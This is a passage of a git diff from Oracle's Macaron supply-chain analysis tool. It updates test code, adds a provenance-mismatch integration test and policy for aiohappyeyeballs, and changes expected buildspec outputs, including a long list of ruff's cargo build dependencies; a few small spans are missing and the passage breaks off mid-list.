"pkg:maven/boo/foo@0.1.0", ), ], @@ -159,11 +161,11 @@ def test_lookup_latest_component( pytest.param( [ ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/foo@0.2.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/boohoo@1.0", ), ], @@ -211,7 +213,7 @@ def test_lookup_latest_component_empty_db( def test_repository_information_from_latest_component(macaron_db_session: Session) -> None: """Test getting the repository information from looking up a latest component.""" analysis = Analysis( - analysis_time=datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + analysis_time=datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), macaron_version=__version__, ) diff --git a/tests/database/test_database_manager.py b/tests/database/test_database_manager.py index be205d296..aa64a2504 100644 --- a/tests/database/test_database_manager.py +++ b/tests/database/test_database_manager.py @@ -1,13 +1,12 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module test DatabaseManager. -""" +"""This module test DatabaseManager.""" import os import sqlite3 from collections.abc import Iterable +from contextlib import closing from pathlib import Path import pytest @@ -27,7 +26,7 @@ class ORMMappedTable(Base): __tablename__ = "_test_orm_table" - id = Column(Integer, primary_key=True, autoincrement=True) # noqa: A003 pylint # ignore=invalid-name + id = Column(Integer, primary_key=True, autoincrement=True) value = Column(String) @@ -39,11 +38,13 @@ def db_man() -> Iterable: """Set up the database and ensure it is empty.""" db_manager = DatabaseManager(DB_PATH, base=Base) con = sqlite3.connect(DB_PATH) - with con: + with closing(con), con: con.execute("drop table if exists _test_orm_table;") con.execute("drop view if exists test_orm_table;") con.commit() + yield db_manager + db_manager.engine.dispose() os.remove(DB_PATH) @@ -55,7 +56,10 @@ def db_man() -> Iterable: ], ) def test_orm_mapping( - db_man: DatabaseManager, identifier: int, test_value: str, expect: bool # pylint: disable=redefined-outer-name + db_man: DatabaseManager, # pylint: disable=redefined-outer-name + identifier: int, + test_value: str, + expect: bool, ) -> None: """Create a table and add rows.""" db_man.create_tables() @@ -65,7 +69,7 @@ def test_orm_mapping( query = "select * from _test_orm_table;" con = sqlite3.connect(DB_PATH) - with con: + with closing(con), con: cursor = con.execute(query) rows = cursor.fetchall() assert (str(rows) == str([(identifier, test_value)])) == expect diff --git a/tests/dependency_analyzer/compare_dependencies.py b/tests/dependency_analyzer/compare_dependencies.py index 9f3600334..dad6c47b8 100755 --- a/tests/dependency_analyzer/compare_dependencies.py +++ b/tests/dependency_analyzer/compare_dependencies.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This script checks the dependency analysis results against the expected outputs. -""" +"""This script checks the dependency analysis results against the expected outputs.""" import json import logging diff --git a/tests/integration/cases/pypi_aiohappyeyeballs/policy.dl b/tests/integration/cases/pypi_aiohappyeyeballs/policy.dl new file mode 100644 index 000000000..78f0c18f7 --- /dev/null +++ b/tests/integration/cases/pypi_aiohappyeyeballs/policy.dl @@ -0,0 +1,38 @@ +/* Copyright (c) 2026 - 2026, Oracle and/or its affiliates. All rights reserved. */ +/* Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. */ + +#include "prelude.dl" + +Policy("test_policy", component_id, "") :- + check_passed(component_id, "mcn_provenance_available_1"), + check_passed(component_id, "mcn_provenance_verified_1"), + check_passed(component_id, "mcn_provenance_derived_repo_1"), + check_failed(component_id, "mcn_provenance_derived_commit_1"), + check_passed(component_id, "mcn_scm_authenticity_1"), + provenance_available_check(_, asset_name, asset_url), + asset_name = "aiohappyeyeballs", + asset_url = "https://pypi.org/integrity/aiohappyeyeballs/2.6.1/aiohappyeyeballs-2.6.1-py3-none-any.whl/provenance", + provenance(_, component_id, _, slsa_level, _, repo_url, attested_commit, _, asset_name, asset_url, _), + slsa_level = 2, + repo_url = "https://github.com/aio-libs/aiohappyeyeballs", + attested_commit = "2042c82f9978f41c31b58aa4e3d8fc3b9c3ec2ec", + repository( + _, + component_id, + "github.com/aio-libs/aiohappyeyeballs", + "aio-libs/aiohappyeyeballs", + "github.com", + "aio-libs", + "aiohappyeyeballs", + "https://github.com/aio-libs/aiohappyeyeballs", + _, + _, + release_commit, + _, + _ + ), + release_commit = "e3bd5bdf44f5d187802de6dcb08d27e1ca6da048", + attested_commit != release_commit. + +apply_policy_to("test_policy", component_id) :- + is_component(component_id, "pkg:pypi/aiohappyeyeballs@2.6.1"). diff --git a/tests/integration/cases/pypi_aiohappyeyeballs/test.yaml b/tests/integration/cases/pypi_aiohappyeyeballs/test.yaml new file mode 100644 index 000000000..b18f33d23 --- /dev/null +++ b/tests/integration/cases/pypi_aiohappyeyeballs/test.yaml @@ -0,0 +1,21 @@ +# Copyright (c) 2026 - 2026, Oracle and/or its affiliates. All rights reserved. +# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. + +description: | + Analyzing a PyPI PURL that has provenance available on the PyPI registry, but whose attested commit does not match + the release tag commit. + +tags: +- macaron-python-package + +steps: +- name: Run macaron analyze + kind: analyze + options: + command_args: + - -purl + - pkg:pypi/aiohappyeyeballs@2.6.1 +- name: Run macaron verify-policy to verify passed/failed checks + kind: verify + options: + policy: policy.dl diff --git a/tests/integration/cases/pypi_cachetools/expected_default.buildspec b/tests/integration/cases/pypi_cachetools/expected_default.buildspec index b42ad0c86..62bd081d7 100644 --- a/tests/integration/cases/pypi_cachetools/expected_default.buildspec +++ b/tests/integration/cases/pypi_cachetools/expected_default.buildspec @@ -30,10 +30,17 @@ } ], "has_binaries": false, - "build_requires": { - "setuptools": "==80.9.0", - "wheel": "" - }, + "build_requires": [ + { + "name": "setuptools", + "version": "==80.9.0", + "installer": "pip" + }, + { + "name": "wheel", + "installer": "pip" + } + ], "build_backends": [ "setuptools.build_meta" ], diff --git a/tests/integration/cases/pypi_cachetools/expected_dockerfile.buildspec b/tests/integration/cases/pypi_cachetools/expected_dockerfile.buildspec index 3eb549766..7c09af0ea 100644 --- a/tests/integration/cases/pypi_cachetools/expected_dockerfile.buildspec +++ b/tests/integration/cases/pypi_cachetools/expected_dockerfile.buildspec @@ -25,7 +25,7 @@ RUN dnf install \ # Build OpenSSL 1.1.1w RUN <=3.4" - }, + "build_requires": [ + { + "name": "flit", + "version": "==3.12.0", + "installer": "pip" + }, + { + "name": "flit_core", + "version": "<4,>=3.4", + "installer": "pip" + } + ], "build_backends": [ "flit_core.buildapi" ], diff --git a/tests/integration/cases/pypi_markdown-it-py/expected_dockerfile.buildspec b/tests/integration/cases/pypi_markdown-it-py/expected_dockerfile.buildspec index 6a1614371..e27e7980f 100644 --- a/tests/integration/cases/pypi_markdown-it-py/expected_dockerfile.buildspec +++ b/tests/integration/cases/pypi_markdown-it-py/expected_dockerfile.buildspec @@ -25,7 +25,7 @@ RUN dnf install \ # Build OpenSSL 1.1.1w RUN </validate # Ensure the artifact produced is not the literal returned by the glob [ -e $BUILT_WHEEL ] || { echo "No wheels found!"; exit 1; } # Download the wheel - wget -q + wget -q # Compare wheel names [ $(basename $BUILT_WHEEL) == "" ] || { echo "Wheel name does not match!"; exit 1; } # Compare file tree diff --git a/tests/integration/cases/pypi_ruff/expected_default.buildspec b/tests/integration/cases/pypi_ruff/expected_default.buildspec new file mode 100644 index 000000000..44c8abd71 --- /dev/null +++ b/tests/integration/cases/pypi_ruff/expected_default.buildspec @@ -0,0 +1,2548 @@ +{ + "macaron_version": "0.24.0", + "group_id": null, + "artifact_id": "ruff", + "version": "0.15.13", + "git_repo": "https://github.com/astral-sh/ruff", + "git_tag": "2afb467ce397e4a89c13a0a814c62cfecb0e9e49", + "newline": "lf", + "language_version": [ + ">=3.7" + ], + "ecosystem": "pypi", + "purl": "pkg:pypi/ruff@0.15.13", + "language": "python", + "build_tools": [ + "uv", + "pip" + ], + "build_commands": [ + { + "build_tool": "uv", + "command": [ + "uv", + "build" + ], + "build_config_path": "pyproject.toml", + "confidence_score": 1.0 + } + ], + "has_binaries": true, + "build_requires": [ + { + "name": "adler2", + "installer": "cargo", + "version": "==2.0.1" + }, + { + "name": "aho-corasick", + "installer": "cargo", + "version": "==1.1.4" + }, + { + "name": "alloca", + "installer": "cargo", + "version": "==0.4.0" + }, + { + "name": "allocator-api2", + "installer": "cargo", + "version": "==0.2.21" + }, + { + "name": "android_system_properties", + "installer": "cargo", + "version": "==0.1.5" + }, + { + "name": "anes", + "installer": "cargo", + "version": "==0.1.6" + }, + { + "name": "annotate-snippets", + "installer": "cargo", + "version": "==0.11.5" + }, + { + "name": "anstream", + "installer": "cargo", + "version": "==0.6.21" + }, + { + "name": "anstyle", + "installer": "cargo", + "version": "==1.0.14" + }, + { + "name": "anstyle-lossy", + "installer": "cargo", + "version": "==1.1.4" + }, + { + "name": "anstyle-parse", + "installer": "cargo", + "version": "==0.2.7" + }, + { + "name": "anstyle-query", + "installer": "cargo", + "version": "==1.1.4" + }, + { + "name": "anstyle-svg", + "installer": "cargo", + "version": "==0.1.11" + }, + { + "name": "anstyle-wincon", + "installer": "cargo", + "version": "==3.0.10" + }, + { + "name": "anyhow", + "installer": "cargo", + "version": "==1.0.102" + }, + { + "name": "approx", + "installer": "cargo", + "version": "==0.5.1" + }, + { + "name": "arc-swap", + "installer": "cargo", + "version": "==1.9.1" + }, + { + "name": "argfile", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "arrayvec", + "installer": "cargo", + "version": "==0.7.6" + }, + { + "name": "assert_fs", + "installer": "cargo", + "version": "==1.1.3" + }, + { + "name": "attribute-derive", + "installer": "cargo", + "version": "==0.10.3" + }, + { + "name": "attribute-derive-macro", + "installer": "cargo", + "version": "==0.10.3" + }, + { + "name": "autocfg", + "installer": "cargo", + "version": "==1.5.0" + }, + { + "name": "bincode", + "installer": "cargo", + "version": "==2.0.1" + }, + { + "name": "bincode_derive", + "installer": "cargo", + "version": "==2.0.1" + }, + { + "name": "bit-set", + "installer": "cargo", + "version": "==0.8.0" + }, + { + "name": "bit-vec", + "installer": "cargo", + "version": "==0.8.0" + }, + { + "name": "bitflags", + "installer": "cargo", + "version": "==1.3.2" + }, + { + "name": "bitvec", + "installer": "cargo", + "version": "==1.0.1" + }, + { + "name": "block-buffer", + "installer": "cargo", + "version": "==0.10.4" + }, + { + "name": "block2", + "installer": "cargo", + "version": "==0.6.2" + }, + { + "name": "boxcar", + "installer": "cargo", + "version": "==0.2.14" + }, + { + "name": "bstr", + "installer": "cargo", + "version": "==1.12.1" + }, + { + "name": "bumpalo", + "installer": "cargo", + "version": "==3.19.0" + }, + { + "name": "byteorder", + "installer": "cargo", + "version": "==1.5.0" + }, + { + "name": "cachedir", + "installer": "cargo", + "version": "==0.3.1" + }, + { + "name": "camino", + "installer": "cargo", + "version": "==1.2.2" + }, + { + "name": "cast", + "installer": "cargo", + "version": "==0.3.0" + }, + { + "name": "castaway", + "installer": "cargo", + "version": "==0.2.4" + }, + { + "name": "cc", + "installer": "cargo", + "version": "==1.2.38" + }, + { + "name": "cfg-if", + "installer": "cargo", + "version": "==1.0.3" + }, + { + "name": "cfg_aliases", + "installer": "cargo", + "version": "==0.2.1" + }, + { + "name": "chacha20", + "installer": "cargo", + "version": "==0.10.0" + }, + { + "name": "chrono", + "installer": "cargo", + "version": "==0.4.44" + }, + { + "name": "ciborium", + "installer": "cargo", + "version": "==0.2.2" + }, + { + "name": "ciborium-io", + "installer": "cargo", + "version": "==0.2.2" + }, + { + "name": "ciborium-ll", + "installer": "cargo", + "version": "==0.2.2" + }, + { + "name": "clap", + "installer": "cargo", + "version": "==4.6.1" + }, + { + "name": "clap_builder", + "installer": "cargo", + "version": "==4.6.0" + }, + { + "name": "clap_complete", + "installer": "cargo", + "version": "==4.5.58" + }, + { + "name": "clap_complete_command", + "installer": "cargo", + "version": "==0.6.1" + }, + { + "name": "clap_complete_nushell", + "installer": "cargo", + "version": "==4.5.8" + }, + { + "name": "clap_derive", + "installer": "cargo", + "version": "==4.6.1" + }, + { + "name": "clap_lex", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "clearscreen", + "installer": "cargo", + "version": "==4.0.6" + }, + { + "name": "codspeed", + "installer": "cargo", + "version": "==4.4.1" + }, + { + "name": "codspeed-criterion-compat", + "installer": "cargo", + "version": "==4.4.1" + }, + { + "name": "codspeed-criterion-compat-walltime", + "installer": "cargo", + "version": "==4.4.1" + }, + { + "name": "codspeed-divan-compat", + "installer": "cargo", + "version": "==4.4.1" + }, + { + "name": "codspeed-divan-compat-macros", + "installer": "cargo", + "version": "==4.4.1" + }, + { + "name": "codspeed-divan-compat-walltime", + "installer": "cargo", + "version": "==4.4.1" + }, + { + "name": "collection_literals", + "installer": "cargo", + "version": "==1.0.2" + }, + { + "name": "colorchoice", + "installer": "cargo", + "version": "==1.0.4" + }, + { + "name": "colored", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "compact_str", + "installer": "cargo", + "version": "==0.9.0" + }, + { + "name": "condtype", + "installer": "cargo", + "version": "==1.3.0" + }, + { + "name": "console", + "installer": "cargo", + "version": "==0.16.1" + }, + { + "name": "console_error_panic_hook", + "installer": "cargo", + "version": "==0.1.7" + }, + { + "name": "console_log", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "core-foundation-sys", + "installer": "cargo", + "version": "==0.8.7" + }, + { + "name": "countme", + "installer": "cargo", + "version": "==3.0.1" + }, + { + "name": "cpufeatures", + "installer": "cargo", + "version": "==0.2.17" + }, + { + "name": "crc32fast", + "installer": "cargo", + "version": "==1.5.0" + }, + { + "name": "criterion", + "installer": "cargo", + "version": "==0.8.2" + }, + { + "name": "criterion-plot", + "installer": "cargo", + "version": "==0.5.0" + }, + { + "name": "crossbeam", + "installer": "cargo", + "version": "==0.8.4" + }, + { + "name": "crossbeam-channel", + "installer": "cargo", + "version": "==0.5.15" + }, + { + "name": "crossbeam-deque", + "installer": "cargo", + "version": "==0.8.6" + }, + { + "name": "crossbeam-epoch", + "installer": "cargo", + "version": "==0.9.18" + }, + { + "name": "crossbeam-queue", + "installer": "cargo", + "version": "==0.3.12" + }, + { + "name": "crossbeam-utils", + "installer": "cargo", + "version": "==0.8.21" + }, + { + "name": "crunchy", + "installer": "cargo", + "version": "==0.2.4" + }, + { + "name": "crypto-common", + "installer": "cargo", + "version": "==0.1.6" + }, + { + "name": "csv", + "installer": "cargo", + "version": "==1.4.0" + }, + { + "name": "csv-core", + "installer": "cargo", + "version": "==0.1.12" + }, + { + "name": "ctrlc", + "installer": "cargo", + "version": "==3.5.2" + }, + { + "name": "darling", + "installer": "cargo", + "version": "==0.23.0" + }, + { + "name": "darling_core", + "installer": "cargo", + "version": "==0.23.0" + }, + { + "name": "darling_macro", + "installer": "cargo", + "version": "==0.23.0" + }, + { + "name": "dashmap", + "installer": "cargo", + "version": "==6.1.0" + }, + { + "name": "datatest-stable", + "installer": "cargo", + "version": "==0.3.3" + }, + { + "name": "derive-where", + "installer": "cargo", + "version": "==1.6.0" + }, + { + "name": "diff", + "installer": "cargo", + "version": "==0.1.13" + }, + { + "name": "difflib", + "installer": "cargo", + "version": "==0.4.0" + }, + { + "name": "digest", + "installer": "cargo", + "version": "==0.10.7" + }, + { + "name": "dirs", + "installer": "cargo", + "version": "==6.0.0" + }, + { + "name": "dirs-sys", + "installer": "cargo", + "version": "==0.5.0" + }, + { + "name": "dispatch2", + "installer": "cargo", + "version": "==0.3.0" + }, + { + "name": "displaydoc", + "installer": "cargo", + "version": "==0.2.5" + }, + { + "name": "divan-macros", + "installer": "cargo", + "version": "==0.1.17" + }, + { + "name": "doc-comment", + "installer": "cargo", + "version": "==0.3.3" + }, + { + "name": "drop_bomb", + "installer": "cargo", + "version": "==0.1.5" + }, + { + "name": "dunce", + "installer": "cargo", + "version": "==1.0.5" + }, + { + "name": "dyn-clone", + "installer": "cargo", + "version": "==1.0.20" + }, + { + "name": "either", + "installer": "cargo", + "version": "==1.15.0" + }, + { + "name": "encode_unicode", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "equivalent", + "installer": "cargo", + "version": "==1.0.2" + }, + { + "name": "errno", + "installer": "cargo", + "version": "==0.3.14" + }, + { + "name": "escape8259", + "installer": "cargo", + "version": "==0.5.3" + }, + { + "name": "escargot", + "installer": "cargo", + "version": "==0.5.15" + }, + { + "name": "etcetera", + "installer": "cargo", + "version": "==0.11.0" + }, + { + "name": "fancy-regex", + "installer": "cargo", + "version": "==0.14.0" + }, + { + "name": "fastrand", + "installer": "cargo", + "version": "==2.3.0" + }, + { + "name": "fern", + "installer": "cargo", + "version": "==0.7.1" + }, + { + "name": "filetime", + "installer": "cargo", + "version": "==0.2.27" + }, + { + "name": "find-msvc-tools", + "installer": "cargo", + "version": "==0.1.2" + }, + { + "name": "flate2", + "installer": "cargo", + "version": "==1.1.2" + }, + { + "name": "fnv", + "installer": "cargo", + "version": "==1.0.7" + }, + { + "name": "foldhash", + "installer": "cargo", + "version": "==0.1.5" + }, + { + "name": "form_urlencoded", + "installer": "cargo", + "version": "==1.2.2" + }, + { + "name": "fs-err", + "installer": "cargo", + "version": "==3.3.0" + }, + { + "name": "fsevent-sys", + "installer": "cargo", + "version": "==4.1.0" + }, + { + "name": "funty", + "installer": "cargo", + "version": "==2.0.0" + }, + { + "name": "generic-array", + "installer": "cargo", + "version": "==0.14.7" + }, + { + "name": "get-size-derive2", + "installer": "cargo", + "version": "==0.8.0" + }, + { + "name": "get-size2", + "installer": "cargo", + "version": "==0.8.0" + }, + { + "name": "getopts", + "installer": "cargo", + "version": "==0.2.24" + }, + { + "name": "getrandom", + "installer": "cargo", + "version": "==0.2.16" + }, + { + "name": "glob", + "installer": "cargo", + "version": "==0.3.3" + }, + { + "name": "globset", + "installer": "cargo", + "version": "==0.4.18" + }, + { + "name": "globwalk", + "installer": "cargo", + "version": "==0.9.1" + }, + { + "name": "half", + "installer": "cargo", + "version": "==2.6.0" + }, + { + "name": "hashbrown", + "installer": "cargo", + "version": "==0.14.5" + }, + { + "name": "hashlink", + "installer": "cargo", + "version": "==0.10.0" + }, + { + "name": "heck", + "installer": "cargo", + "version": "==0.5.0" + }, + { + "name": "hermit-abi", + "installer": "cargo", + "version": "==0.5.2" + }, + { + "name": "html-escape", + "installer": "cargo", + "version": "==0.2.13" + }, + { + "name": "iana-time-zone", + "installer": "cargo", + "version": "==0.1.64" + }, + { + "name": "iana-time-zone-haiku", + "installer": "cargo", + "version": "==0.1.2" + }, + { + "name": "icu_collections", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "icu_locale_core", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "icu_normalizer", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "icu_normalizer_data", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "icu_properties", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "icu_properties_data", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "icu_provider", + "installer": "cargo", + "version": "==2.2.0" + }, + { + "name": "id-arena", + "installer": "cargo", + "version": "==2.3.0" + }, + { + "name": "ident_case", + "installer": "cargo", + "version": "==1.0.1" + }, + { + "name": "idna", + "installer": "cargo", + "version": "==1.1.0" + }, + { + "name": "idna_adapter", + "installer": "cargo", + "version": "==1.2.1" + }, + { + "name": "ignore", + "installer": "cargo", + "version": "==0.4.25" + }, + { + "name": "imara-diff", + "installer": "cargo", + "version": "==0.2.0" + }, + { + "name": "imperative", + "installer": "cargo", + "version": "==1.0.7" + }, + { + "name": "indexmap", + "installer": "cargo", + "version": "==2.14.0" + }, + { + "name": "indicatif", + "installer": "cargo", + "version": "==0.18.4" + }, + { + "name": "indoc", + "installer": "cargo", + "version": "==2.0.7" + }, + { + "name": "inotify", + "installer": "cargo", + "version": "==0.11.0" + }, + { + "name": "inotify-sys", + "installer": "cargo", + "version": "==0.1.5" + }, + { + "name": "insta", + "installer": "cargo", + "version": "==1.47.2" + }, + { + "name": "insta-cmd", + "installer": "cargo", + "version": "==0.6.0" + }, + { + "name": "interpolator", + "installer": "cargo", + "version": "==0.5.0" + }, + { + "name": "intrusive-collections", + "installer": "cargo", + "version": "==0.9.7" + }, + { + "name": "inventory", + "installer": "cargo", + "version": "==0.3.24" + }, + { + "name": "is-macro", + "installer": "cargo", + "version": "==0.3.7" + }, + { + "name": "is-terminal", + "installer": "cargo", + "version": "==0.4.16" + }, + { + "name": "is_terminal_polyfill", + "installer": "cargo", + "version": "==1.70.1" + }, + { + "name": "itertools", + "installer": "cargo", + "version": "==0.10.5" + }, + { + "name": "itoa", + "installer": "cargo", + "version": "==1.0.15" + }, + { + "name": "jiff", + "installer": "cargo", + "version": "==0.2.24" + }, + { + "name": "jiff-static", + "installer": "cargo", + "version": "==0.2.24" + }, + { + "name": "jiff-tzdb", + "installer": "cargo", + "version": "==0.1.4" + }, + { + "name": "jiff-tzdb-platform", + "installer": "cargo", + "version": "==0.1.3" + }, + { + "name": "jobserver", + "installer": "cargo", + "version": "==0.1.34" + }, + { + "name": "jod-thread", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "js-sys", + "installer": "cargo", + "version": "==0.3.82" + }, + { + "name": "kqueue", + "installer": "cargo", + "version": "==1.1.1" + }, + { + "name": "kqueue-sys", + "installer": "cargo", + "version": "==1.0.4" + }, + { + "name": "lazy_static", + "installer": "cargo", + "version": "==1.5.0" + }, + { + "name": "leb128fmt", + "installer": "cargo", + "version": "==0.1.0" + }, + { + "name": "libc", + "installer": "cargo", + "version": "==0.2.186" + }, + { + "name": "libcst", + "installer": "cargo", + "version": "==1.8.6" + }, + { + "name": "libcst_derive", + "installer": "cargo", + "version": "==1.8.6" + }, + { + "name": "libmimalloc-sys", + "installer": "cargo", + "version": "==0.1.47" + }, + { + "name": "libredox", + "installer": "cargo", + "version": "==0.1.10" + }, + { + "name": "libtest-mimic", + "installer": "cargo", + "version": "==0.7.3" + }, + { + "name": "linux-raw-sys", + "installer": "cargo", + "version": "==0.12.1" + }, + { + "name": "litemap", + "installer": "cargo", + "version": "==0.8.0" + }, + { + "name": "lock_api", + "installer": "cargo", + "version": "==0.4.13" + }, + { + "name": "log", + "installer": "cargo", + "version": "==0.4.29" + }, + { + "name": "lsp-server", + "installer": "cargo", + "version": "==0.7.9" + }, + { + "name": "lsp-types", + "installer": "cargo", + "version": "==0.95.1" + }, + { + "name": "manyhow", + "installer": "cargo", + "version": "==0.11.4" + }, + { + "name": "manyhow-macros", + "installer": "cargo", + "version": "==0.11.4" + }, + { + "name": "markdown", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "matchers", + "installer": "cargo", + "version": "==0.2.0" + }, + { + "name": "matchit", + "installer": "cargo", + "version": "==0.9.2" + }, + { + "name": "maturin", + "installer": "pip", + "version": "==1.13.1" + }, + { + "name": "mdtest", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "memchr", + "installer": "cargo", + "version": "==2.8.0" + }, + { + "name": "memoffset", + "installer": "cargo", + "version": "==0.9.1" + }, + { + "name": "mimalloc", + "installer": "cargo", + "version": "==0.1.50" + }, + { + "name": "minicov", + "installer": "cargo", + "version": "==0.3.7" + }, + { + "name": "minimal-lexical", + "installer": "cargo", + "version": "==0.2.1" + }, + { + "name": "miniz_oxide", + "installer": "cargo", + "version": "==0.8.9" + }, + { + "name": "mio", + "installer": "cargo", + "version": "==1.0.4" + }, + { + "name": "natord", + "installer": "cargo", + "version": "==1.0.9" + }, + { + "name": "newtype-uuid", + "installer": "cargo", + "version": "==1.3.2" + }, + { + "name": "nix", + "installer": "cargo", + "version": "==0.31.2" + }, + { + "name": "nom", + "installer": "cargo", + "version": "==7.1.3" + }, + { + "name": "normalize-line-endings", + "installer": "cargo", + "version": "==0.3.0" + }, + { + "name": "notify", + "installer": "cargo", + "version": "==8.2.0" + }, + { + "name": "notify-types", + "installer": "cargo", + "version": "==2.0.0" + }, + { + "name": "nu-ansi-term", + "installer": "cargo", + "version": "==0.50.1" + }, + { + "name": "num-traits", + "installer": "cargo", + "version": "==0.2.19" + }, + { + "name": "num_cpus", + "installer": "cargo", + "version": "==1.17.0" + }, + { + "name": "objc2", + "installer": "cargo", + "version": "==0.6.3" + }, + { + "name": "objc2-encode", + "installer": "cargo", + "version": "==4.1.0" + }, + { + "name": "once_cell", + "installer": "cargo", + "version": "==1.21.3" + }, + { + "name": "once_cell_polyfill", + "installer": "cargo", + "version": "==1.70.1" + }, + { + "name": "oorandom", + "installer": "cargo", + "version": "==11.1.5" + }, + { + "name": "option-ext", + "installer": "cargo", + "version": "==0.2.0" + }, + { + "name": "ordermap", + "installer": "cargo", + "version": "==1.2.0" + }, + { + "name": "os_pipe", + "installer": "cargo", + "version": "==1.2.2" + }, + { + "name": "os_str_bytes", + "installer": "cargo", + "version": "==7.1.1" + }, + { + "name": "page_size", + "installer": "cargo", + "version": "==0.6.0" + }, + { + "name": "parking_lot", + "installer": "cargo", + "version": "==0.12.4" + }, + { + "name": "parking_lot_core", + "installer": "cargo", + "version": "==0.9.11" + }, + { + "name": "paste", + "installer": "cargo", + "version": "==1.0.15" + }, + { + "name": "path-absolutize", + "installer": "cargo", + "version": "==3.1.1" + }, + { + "name": "path-dedot", + "installer": "cargo", + "version": "==3.1.1" + }, + { + "name": "path-slash", + "installer": "cargo", + "version": "==0.2.1" + }, + { + "name": "pathdiff", + "installer": "cargo", + "version": "==0.2.3" + }, + { + "name": "peg", + "installer": "cargo", + "version": "==0.8.5" + }, + { + "name": "peg-macros", + "installer": "cargo", + "version": "==0.8.5" + }, + { + "name": "peg-runtime", + "installer": "cargo", + "version": "==0.8.5" + }, + { + "name": "pep440_rs", + "installer": "cargo", + "version": "==0.7.3" + }, + { + "name": "pep508_rs", + "installer": "cargo", + "version": "==0.9.2" + }, + { + "name": "percent-encoding", + "installer": "cargo", + "version": "==2.3.2" + }, + { + "name": "pest", + "installer": "cargo", + "version": "==2.8.2" + }, + { + "name": "pest_derive", + "installer": "cargo", + "version": "==2.8.2" + }, + { + "name": "pest_generator", + "installer": "cargo", + "version": "==2.8.2" + }, + { + "name": "pest_meta", + "installer": "cargo", + "version": "==2.8.2" + }, + { + "name": "phf", + "installer": "cargo", + "version": "==0.11.3" + }, + { + "name": "phf_codegen", + "installer": "cargo", + "version": "==0.11.3" + }, + { + "name": "phf_generator", + "installer": "cargo", + "version": "==0.11.3" + }, + { + "name": "phf_shared", + "installer": "cargo", + "version": "==0.11.3" + }, + { + "name": "pin-project-lite", + "installer": "cargo", + "version": "==0.2.16" + }, + { + "name": "pkg-config", + "installer": "cargo", + "version": "==0.3.32" + }, + { + "name": "portable-atomic", + "installer": "cargo", + "version": "==1.13.1" + }, + { + "name": "portable-atomic-util", + "installer": "cargo", + "version": "==0.2.4" + }, + { + "name": "potential_utf", + "installer": "cargo", + "version": "==0.1.3" + }, + { + "name": "ppv-lite86", + "installer": "cargo", + "version": "==0.2.21" + }, + { + "name": "predicates", + "installer": "cargo", + "version": "==3.1.3" + }, + { + "name": "predicates-core", + "installer": "cargo", + "version": "==1.0.9" + }, + { + "name": "predicates-tree", + "installer": "cargo", + "version": "==1.0.12" + }, + { + "name": "pretty_assertions", + "installer": "cargo", + "version": "==1.4.1" + }, + { + "name": "prettyplease", + "installer": "cargo", + "version": "==0.2.37" + }, + { + "name": "proc-macro-crate", + "installer": "cargo", + "version": "==3.4.0" + }, + { + "name": "proc-macro-utils", + "installer": "cargo", + "version": "==0.10.0" + }, + { + "name": "proc-macro2", + "installer": "cargo", + "version": "==1.0.106" + }, + { + "name": "pyproject-toml", + "installer": "cargo", + "version": "==0.13.7" + }, + { + "name": "quick-junit", + "installer": "cargo", + "version": "==0.6.0" + }, + { + "name": "quick-xml", + "installer": "cargo", + "version": "==0.38.4" + }, + { + "name": "quickcheck", + "installer": "cargo", + "version": "==1.1.0" + }, + { + "name": "quickcheck_macros", + "installer": "cargo", + "version": "==1.2.0" + }, + { + "name": "quote", + "installer": "cargo", + "version": "==1.0.45" + }, + { + "name": "quote-use", + "installer": "cargo", + "version": "==0.8.4" + }, + { + "name": "quote-use-macros", + "installer": "cargo", + "version": "==0.8.4" + }, + { + "name": "r-efi", + "installer": "cargo", + "version": "==5.3.0" + }, + { + "name": "radium", + "installer": "cargo", + "version": "==0.7.0" + }, + { + "name": "rand", + "installer": "cargo", + "version": "==0.8.5" + }, + { + "name": "rand_chacha", + "installer": "cargo", + "version": "==0.3.1" + }, + { + "name": "rand_core", + "installer": "cargo", + "version": "==0.6.4" + }, + { + "name": "rayon", + "installer": "cargo", + "version": "==1.12.0" + }, + { + "name": "rayon-core", + "installer": "cargo", + "version": "==1.13.0" + }, + { + "name": "redox_syscall", + "installer": "cargo", + "version": "==0.5.17" + }, + { + "name": "redox_users", + "installer": "cargo", + "version": "==0.5.2" + }, + { + "name": "ref-cast", + "installer": "cargo", + "version": "==1.0.25" + }, + { + "name": "ref-cast-impl", + "installer": "cargo", + "version": "==1.0.25" + }, + { + "name": "regex", + "installer": "cargo", + "version": "==1.12.3" + }, + { + "name": "regex-automata", + "installer": "cargo", + "version": "==0.4.14" + }, + { + "name": 